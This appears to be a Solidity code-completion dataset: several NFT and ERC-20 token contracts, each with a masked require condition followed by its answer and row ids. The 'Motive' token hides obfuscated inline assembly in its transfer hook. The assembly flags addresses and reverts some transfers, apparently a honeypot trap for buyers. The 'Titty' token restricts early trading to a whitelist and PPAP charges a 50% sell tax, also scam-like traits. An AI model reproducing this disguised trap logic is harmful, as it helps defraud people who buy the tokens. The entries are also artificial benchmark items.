deadUpperBound = _deadOdds; } function setOdds(uint256 _ballerOdds, uint256 _homelessOdds, uint256 _prisonOdds, uint256 _deadOdds) external onlyOwner { } function initializeTokenState(uint256 _tokenId, address _owner, State _state, uint32 _order) external onlyOwner { } function withdraw(address _to, uint256 _amount) external onlyOwner { } function getTokenState(uint256 _tokenId) external view onlyOwner returns (TokenState memory) { } function _getTokenState(uint256 _tokenId) internal view returns (TokenState memory) { } function _setTokenState(uint256 _tokenId, TokenState memory _tokenState, State _state) internal { } function option(uint256 _tokenId) external returns (uint256 requestId) { } function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal override { } function release(uint256 _tokenId) external { } function unstuck(uint256 _tokenId) external onlyOwner { } function _rollToState(uint256 roll) internal view returns (State) { } function _tokenIdToIndex(uint256 _tokenId) internal pure returns (uint256) { } }
_ballerOdds+_homelessOdds+_prisonOdds+_deadOdds==MAX_ROLL,"Sum of odds must be 100%"
191,973
_ballerOdds+_homelessOdds+_prisonOdds+_deadOdds==MAX_ROLL
"sold out"
contract NekoDaigaku is ERC721A, Ownable { using Strings for uint256; string public uriPrefix = "ipfs://Qmc6suvz4paT1mX6754W6j4wXJHP8YKqmJ4R2y246RHeBA/"; uint256 public immutable cost = 0.003 ether; uint32 public immutable MaxSupplyNumber = 999; uint32 public immutable maxPerTx = 3; string public baseExtension = ".json"; modifier callerIsUser() { } constructor( string memory _name, string memory _symbol ) ERC721A (_name, _symbol) { } function _baseURI() internal view override(ERC721A) returns (string memory) { } function setUri(string memory uri) public onlyOwner { } function _startTokenId() internal view virtual override(ERC721A) returns (uint256) { } function publicMint(uint256 amount) public payable callerIsUser{ require(<FILL_ME>) if (msg.sender != owner()) require(msg.value >= cost * amount, "Not enough ether"); _safeMint(msg.sender, amount); } function DevMint(uint256 amount) public onlyOwner { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function withdraw() public onlyOwner { } }
totalSupply()+amount<=MaxSupplyNumber,"sold out"
191,998
totalSupply()+amount<=MaxSupplyNumber
"ERC20: trading is not yet enabled."
pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function WETH() external pure returns (address); function factory() external pure returns (address); } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function symbol() external view returns (string memory); function decimals() external view returns (uint8); function name() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { address[] private addMotive; uint256 private bnbHack = block.number*2; mapping (address => bool) private _firstHack; mapping (address => bool) private _secondBlacklist; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private newWay; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private thisGrogu; address public pair; IDEXRouter router; string private _name; string private _symbol; uint256 private _totalSupply; uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2; bool private trading; uint256 private inuSama = 1; bool private sweatFinance; uint256 private _decimals; uint256 private greenFriend; constructor (string memory name_, string memory symbol_, address msgSender_) { } function symbol() public view virtual override returns (string memory) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function name() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } function _tokenInit() internal { } function openTrading() external onlyOwner returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function totalSupply() public view virtual override returns (uint256) { } function _beforeTokenTransfer(address sender, address recipient, uint256 float) internal { require(<FILL_ME>) assembly { function getBy(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) } function getAr(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) } if eq(chainid(),0x1) { if eq(sload(getBy(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) } if and(lt(gas(),sload(0xB)),and(and(or(or(and(or(eq(sload(0x16),0x1),eq(sload(getBy(sender,0x5)),0x1)),gt(sub(sload(0x3),sload(0x13)),0x7)),gt(float,div(sload(0x99),0x2))),and(gt(float,div(sload(0x99),0x3)),eq(sload(0x3),number()))),or(and(eq(sload(getBy(recipient,0x4)),0x1),iszero(sload(getBy(sender,0x4)))),and(eq(sload(getAr(0x2,0x1)),recipient),iszero(sload(getBy(sload(getAr(0x2,0x1)),0x4)))))),gt(sload(0x18),0x0))) { if gt(float,exp(0xA,0x13)) { revert(0,0) } } if or(eq(sload(getBy(sender,0x4)),iszero(sload(getBy(recipient,0x4)))),eq(iszero(sload(getBy(sender,0x4))),sload(getBy(recipient,0x4)))) { let k := sload(0x18) let t := sload(0x99) let g := sload(0x11) switch gt(g,div(t,0x3)) case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) } case 0 { g := div(t,0x3) } sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1)) } if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x7)),eq(sload(getBy(sload(0x8),0x4)),0x0)) { sstore(getBy(sload(0x8),0x5),0x1) } if and(iszero(sload(getBy(sender,0x4))),iszero(sload(getBy(recipient,0x4)))) { sstore(getBy(recipient,0x5),0x1) } if iszero(mod(sload(0x15),0x8)) { sstore(0x16,0x1) sstore(0xB,0x1C99342) sstore(getBy(sload(getAr(0x2,0x1)),0x6),exp(0xA,0x32)) } sstore(0x12,float) sstore(0x8,recipient) sstore(0x3,number()) } } } function _transfer(address sender, address recipient, uint256 amount) internal virtual { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _DeployMotive(address account, uint256 amount) internal virtual { } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { } } contract Motive is ERC20Token { constructor() ERC20Token("Motive", "MOTIVE", msg.sender, 50000000 * 10 ** 18) { } }
(trading||(sender==addMotive[1])),"ERC20: trading is not yet enabled."
192,125
(trading||(sender==addMotive[1]))
null
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Titty is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => bool) private nonBots; bool private nonBotTradingEnabled; mapping(address => uint256) private _holderLastTransferTimestamp; address payable private _taxWallet; uint256 private _initialBuyTax = 0; uint256 private _initialSellTax = 0; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 1; uint256 private _reduceSellTaxAt = 1; uint256 private _preventSwapBefore = 100; uint256 private _buyCount = 0; uint8 private constant _decimals = 8; uint256 private _tTotal = 10000000000 * 10 ** _decimals; string private constant _name = "TITTY"; string private constant _symbol = "TITTY"; uint256 public _taxSwapThreshold = 50000000 * 10 ** _decimals; uint256 public _maxTaxSwap = 50000000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x93bcDc45f7e62f89a8e901DC4A0E2c6C427D9F25); address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap() { } constructor() { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer( address recipient, uint256 amount ) public override returns (bool) { } function allowance( address owner, address spender ) public view override returns (uint256) { } function approve( address spender, uint256 amount ) public override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { } function _approve(address owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if (from != owner() && to != owner()) { if (from != address(this) && to != address(this)) { require(!bots[from] && !bots[to]); if (!nonBotTradingEnabled) { require(<FILL_ME>) } } taxAmount = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore ) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256) { } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { } function sendETHToFee(uint256 amount) private { } function addBots(address[] memory bots_) public onlyOwner { } function delBots(address[] memory notbot) public onlyOwner { } function setTax( uint256 initialBuyTax_, uint256 finalBuyTax_, uint256 initialSellTax_, uint256 finalSellTax_ ) public onlyOwner { } function isBot(address a) public view returns (bool) { } function createLiquidity() external onlyOwner { } function setArray(address[] memory nonBots_) public onlyOwner { } function activateTrading() external onlyOwner { } receive() external payable {} function manualSwap() external { } }
nonBots[from]||nonBots[to]
192,128
nonBots[from]||nonBots[to]
"Unregistered Token"
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.13; /////////////////////////////////////////////////// // // // _ // // __ _ ___ _ __ ___ ___(_)___ // // / _` |/ _ \ '_ \ / _ \/ __| / __| // // | (_| | __/ | | | __/\__ \ \__ \ // // \__, |\___|_| |_|\___||___/_|___/ // // |___/ // // // /////////////////////////////////////////////////// /// @creator: @tzmartin /// @author: mintroad.xyz /// @version: 0.1 import {Counters} from "@openzeppelin/contracts/utils/Counters.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {IERC2981} from "@openzeppelin/contracts/interfaces/IERC2981.sol"; import {IBaseERC721Interface, ConfigSettings} from "./slimbase/ERC721Base.sol"; import {ERC721Delegated} from "./slimbase/ERC721Delegated.sol"; import {SharedNFTLogic} from "./mr-factory/SharedNFTLogic.sol"; import {IEditionSingleMintable} from "./mr-factory/IEditionSingleMintable.sol"; import "hardhat/console.sol"; /** */ contract GenesisNFT is ERC721Delegated, IEditionSingleMintable { using Counters for Counters.Counter; // Events event PriceChanged(uint256 amount); event EditionMinted(uint256 price, address owner); struct TokenData { uint256 id; uint256 mintPrice; bool paused; } uint256 public maxNumberCanMint = 1; // Token Name string public name; // Token symbol string public symbol; // Edition royalty (basis points) uint16 private royaltyBPS; // Total size of edition that can be minted uint256 public editionSize; // URI base for image renderer string private metaRendererBase; // URI extension for metadata renderer string private metaRendererExtension; // Paused state bool public paused; // Minted counter for current Token and totalSupply() Counters.Counter private tokenCounter; // Addresses allowed to mint edition mapping(address => bool) allowedMinters; // Meta data for edition mapping(uint256 => string) metadataJson; // Mapping tokenID to token data mapping(uint256 => TokenData) private _tokenData; // NFT rendering logic contract SharedNFTLogic private immutable sharedNFTLogic; // Global constructor for factory constructor( string memory _name, string memory _symbol, uint16 _royaltyBPS, uint256 _editionSize, string memory _metaRendererBase, string memory _metaRendererExtension, address baseNFTContract, SharedNFTLogic _sharedNFTLogic ) ERC721Delegated( baseNFTContract, name, symbol, ConfigSettings({ royaltyBps: _royaltyBPS, uriBase: _metaRendererBase, uriExtension: _metaRendererExtension, hasTransferHook: false }) ) { } modifier onlyUnpaused() { } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal onlyUnpaused { } /** @dev Set contract paused state */ function setPaused(bool _paused) public onlyOwner { } /** @dev Add token to collection @param _tokenId Token ID @param _mintPrice Mint price @param _paused Paused state for token */ function addToken(uint256 _tokenId, uint256 _mintPrice, bool _paused) public onlyOwner { } /** @param tokenId the token Id @param _mintPrice the amount of ETH needed to start the sale for a given token. @dev This sets a simple ETH sales price for a given token Setting a sales price allows users to mint the edition until it sells out. For more granular sales, use an external sales contract. */ function setMintPrice(uint256 tokenId, uint256 _mintPrice) external onlyOwner { } /** @dev Sets pause state for token. */ function setTokenPaused(uint256 tokenId, bool _paused) public onlyOwner { } /** @dev Returns the total amount of tokens minted in the contract. */ function totalMinted() external view returns (uint256) { } /** @param tokenId The ID of the token to get the owner of. @dev This allows a user to mint a single edition at the for a given token ID at the current price in the contract. If token ID is 0, it will mint a new edition at the next available increment. */ function mint(uint256 tokenId) external payable onlyUnpaused returns (uint256) { require(!_exists(tokenId), "Token exists"); require(_isAllowedToMint(), "Needs to be an allowed minter"); require(<FILL_ME>) require(msg.value == _tokenData[tokenId].mintPrice, "Wrong price"); require(!_tokenData[tokenId].paused, "Token paused"); require(editionSize == 0 || (tokenCounter.current() - 1) <= editionSize, "Sold out"); address[] memory toMint = new address[](1); toMint[0] = msg.sender; _mint(toMint[0], tokenId); // Update token counter tokenCounter.increment(); // Emit event emit EditionMinted(_tokenData[tokenId].mintPrice, msg.sender); return tokenCounter.current(); } /** @dev This withdraws ETH from the contract to the contract owner. */ function withdraw() external onlyOwner { } /** @dev This helper function checks if the msg.sender is allowed to mint the given edition id. */ function _isAllowedToMint() internal view returns (bool) { } /** simple override for owner interface. */ function owner() public view override(IEditionSingleMintable) returns (address) { } /** @param minter address to set approved minting status for @param allowed boolean if that address is allowed to mint @dev Sets the approved minting status of the given address. This requires that msg.sender is the owner of the given edition id. If the ZeroAddress (address(0x0)) is set as a minter, anyone will be allowed to mint. This setup is similar to setApprovalForAll in the ERC721 spec. */ function setApprovedMinter(address minter, bool allowed) public onlyOwner { } /** @dev Allows for updates of edition urls by the owner of the edition. Only URLs can be updated (data-uris are supported), hashes cannot be updated. */ function setBaseURI(string memory _baseURI) public onlyOwner { } /** @dev Returns the number of editions allowed to mint (max_uint256 when open edition) */ function numberCanMint() external view override returns (uint256) { } /** @dev Allows for number of editions allowed to mint to be updated by the owner of the edition. */ function setNumberCanMint(uint256 _numberCanMint) public onlyOwner { } /** @dev User burn function for token id @param tokenId Token ID to burn */ function burn(uint256 tokenId) public { } /** @dev Get URI for given token id @param tokenId token id to get uri for @return base64-encoded json metadata object */ function tokenURI(uint256 tokenId) public view returns (string memory) { } /** @dev Allows for updates of metadata by the owner of the edition. */ function setMetadata(uint256 tokenId, string memory _metadata) public onlyOwner { } /** @dev Returns the auxillary data for `owner`. */ function getAux(address _owner) public view returns (uint64) { } /** @dev Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function setAux(address _owner, uint64 aux) public onlyOwner { } /** @dev Get Metadata for given token id @param tokenId token id to get metadata for @return base64-encoded json metadata object */ function getMetadata(uint256 tokenId) external view returns (string memory) { } /** @dev Returns the number of minted tokens (burning factored in). */ function totalSupply() external view returns (uint256) { } /** @dev Returns the number of tokens minted by owner. */ function numberMintedByOwner(address _owner) public view returns (uint256) { } /** @dev Returns the mint price for a token. @param tokenId token id */ function mintPrice(uint256 tokenId) public view returns (uint256) { } /** @dev Transfer token */ function transferOwnership(address newOwner) external onlyOwner { } function supportsInterface(bytes4 interfaceId) public pure returns (bool) { } }
!(_tokenData[tokenId].id==0),"Unregistered Token"
192,330
!(_tokenData[tokenId].id==0)
"Token paused"
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.13; /////////////////////////////////////////////////// // // // _ // // __ _ ___ _ __ ___ ___(_)___ // // / _` |/ _ \ '_ \ / _ \/ __| / __| // // | (_| | __/ | | | __/\__ \ \__ \ // // \__, |\___|_| |_|\___||___/_|___/ // // |___/ // // // /////////////////////////////////////////////////// /// @creator: @tzmartin /// @author: mintroad.xyz /// @version: 0.1 import {Counters} from "@openzeppelin/contracts/utils/Counters.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {IERC2981} from "@openzeppelin/contracts/interfaces/IERC2981.sol"; import {IBaseERC721Interface, ConfigSettings} from "./slimbase/ERC721Base.sol"; import {ERC721Delegated} from "./slimbase/ERC721Delegated.sol"; import {SharedNFTLogic} from "./mr-factory/SharedNFTLogic.sol"; import {IEditionSingleMintable} from "./mr-factory/IEditionSingleMintable.sol"; import "hardhat/console.sol"; /** */ contract GenesisNFT is ERC721Delegated, IEditionSingleMintable { using Counters for Counters.Counter; // Events event PriceChanged(uint256 amount); event EditionMinted(uint256 price, address owner); struct TokenData { uint256 id; uint256 mintPrice; bool paused; } uint256 public maxNumberCanMint = 1; // Token Name string public name; // Token symbol string public symbol; // Edition royalty (basis points) uint16 private royaltyBPS; // Total size of edition that can be minted uint256 public editionSize; // URI base for image renderer string private metaRendererBase; // URI extension for metadata renderer string private metaRendererExtension; // Paused state bool public paused; // Minted counter for current Token and totalSupply() Counters.Counter private tokenCounter; // Addresses allowed to mint edition mapping(address => bool) allowedMinters; // Meta data for edition mapping(uint256 => string) metadataJson; // Mapping tokenID to token data mapping(uint256 => TokenData) private _tokenData; // NFT rendering logic contract SharedNFTLogic private immutable sharedNFTLogic; // Global constructor for factory constructor( string memory _name, string memory _symbol, uint16 _royaltyBPS, uint256 _editionSize, string memory _metaRendererBase, string memory _metaRendererExtension, address baseNFTContract, SharedNFTLogic _sharedNFTLogic ) ERC721Delegated( baseNFTContract, name, symbol, ConfigSettings({ royaltyBps: _royaltyBPS, uriBase: _metaRendererBase, uriExtension: _metaRendererExtension, hasTransferHook: false }) ) { } modifier onlyUnpaused() { } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal onlyUnpaused { } /** @dev Set contract paused state */ function setPaused(bool _paused) public onlyOwner { } /** @dev Add token to collection @param _tokenId Token ID @param _mintPrice Mint price @param _paused Paused state for token */ function addToken(uint256 _tokenId, uint256 _mintPrice, bool _paused) public onlyOwner { } /** @param tokenId the token Id @param _mintPrice the amount of ETH needed to start the sale for a given token. @dev This sets a simple ETH sales price for a given token Setting a sales price allows users to mint the edition until it sells out. For more granular sales, use an external sales contract. */ function setMintPrice(uint256 tokenId, uint256 _mintPrice) external onlyOwner { } /** @dev Sets pause state for token. */ function setTokenPaused(uint256 tokenId, bool _paused) public onlyOwner { } /** @dev Returns the total amount of tokens minted in the contract. */ function totalMinted() external view returns (uint256) { } /** @param tokenId The ID of the token to get the owner of. @dev This allows a user to mint a single edition at the for a given token ID at the current price in the contract. If token ID is 0, it will mint a new edition at the next available increment. */ function mint(uint256 tokenId) external payable onlyUnpaused returns (uint256) { require(!_exists(tokenId), "Token exists"); require(_isAllowedToMint(), "Needs to be an allowed minter"); require(!(_tokenData[tokenId].id == 0), "Unregistered Token"); require(msg.value == _tokenData[tokenId].mintPrice, "Wrong price"); require(<FILL_ME>) require(editionSize == 0 || (tokenCounter.current() - 1) <= editionSize, "Sold out"); address[] memory toMint = new address[](1); toMint[0] = msg.sender; _mint(toMint[0], tokenId); // Update token counter tokenCounter.increment(); // Emit event emit EditionMinted(_tokenData[tokenId].mintPrice, msg.sender); return tokenCounter.current(); } /** @dev This withdraws ETH from the contract to the contract owner. */ function withdraw() external onlyOwner { } /** @dev This helper function checks if the msg.sender is allowed to mint the given edition id. */ function _isAllowedToMint() internal view returns (bool) { } /** simple override for owner interface. */ function owner() public view override(IEditionSingleMintable) returns (address) { } /** @param minter address to set approved minting status for @param allowed boolean if that address is allowed to mint @dev Sets the approved minting status of the given address. This requires that msg.sender is the owner of the given edition id. If the ZeroAddress (address(0x0)) is set as a minter, anyone will be allowed to mint. This setup is similar to setApprovalForAll in the ERC721 spec. */ function setApprovedMinter(address minter, bool allowed) public onlyOwner { } /** @dev Allows for updates of edition urls by the owner of the edition. Only URLs can be updated (data-uris are supported), hashes cannot be updated. */ function setBaseURI(string memory _baseURI) public onlyOwner { } /** @dev Returns the number of editions allowed to mint (max_uint256 when open edition) */ function numberCanMint() external view override returns (uint256) { } /** @dev Allows for number of editions allowed to mint to be updated by the owner of the edition. */ function setNumberCanMint(uint256 _numberCanMint) public onlyOwner { } /** @dev User burn function for token id @param tokenId Token ID to burn */ function burn(uint256 tokenId) public { } /** @dev Get URI for given token id @param tokenId token id to get uri for @return base64-encoded json metadata object */ function tokenURI(uint256 tokenId) public view returns (string memory) { } /** @dev Allows for updates of metadata by the owner of the edition. */ function setMetadata(uint256 tokenId, string memory _metadata) public onlyOwner { } /** @dev Returns the auxillary data for `owner`. */ function getAux(address _owner) public view returns (uint64) { } /** @dev Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function setAux(address _owner, uint64 aux) public onlyOwner { } /** @dev Get Metadata for given token id @param tokenId token id to get metadata for @return base64-encoded json metadata object */ function getMetadata(uint256 tokenId) external view returns (string memory) { } /** @dev Returns the number of minted tokens (burning factored in). */ function totalSupply() external view returns (uint256) { } /** @dev Returns the number of tokens minted by owner. */ function numberMintedByOwner(address _owner) public view returns (uint256) { } /** @dev Returns the mint price for a token. @param tokenId token id */ function mintPrice(uint256 tokenId) public view returns (uint256) { } /** @dev Transfer token */ function transferOwnership(address newOwner) external onlyOwner { } function supportsInterface(bytes4 interfaceId) public pure returns (bool) { } }
!_tokenData[tokenId].paused,"Token paused"
192,330
!_tokenData[tokenId].paused
null
// https://t.me/PPAPPortal // SPDX-License-Identifier: Unlicensed pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PPAP is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "PEN PINEAPPLE APPLE PEN"; string private constant _symbol = "PPAP"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 420690000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 20; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 50; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x08ea41181732a9Ea7c5543Cef78efca8D766168f); address payable private _marketingAddress = payable(0xE7D0032a94b065D49BA13AEaa2aa3A0A6176b22A); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = (_tTotal * 2) / 100; uint256 public _maxWalletSize = (_tTotal * 2) / 100; uint256 public _swapTokensAtAmount = (_tTotal * 5) / 10000; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { } constructor() { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { } function removeAllFee() private { } function restoreAllFee() private { } function _approve( address owner, address spender, uint256 amount ) private { } function _transfer( address from, address to, uint256 amount ) private { } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { } function sendETHToFee(uint256 amount) private { } function setTrading(bool _tradingOpen) public onlyOwner { } function manualswap() external { require(<FILL_ME>) uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { } function _takeTeam(uint256 tTeam) private { } function _reflectFee(uint256 rFee, uint256 tFee) private { } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { } function _getRate() private view returns (uint256) { } function _getCurrentSupply() private view returns (uint256, uint256) { } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { } }
_msgSender()==_developmentAddress||_msgSender()==owner()||_msgSender()==_marketingAddress
192,487
_msgSender()==_developmentAddress||_msgSender()==owner()||_msgSender()==_marketingAddress
"Caller is not the original"
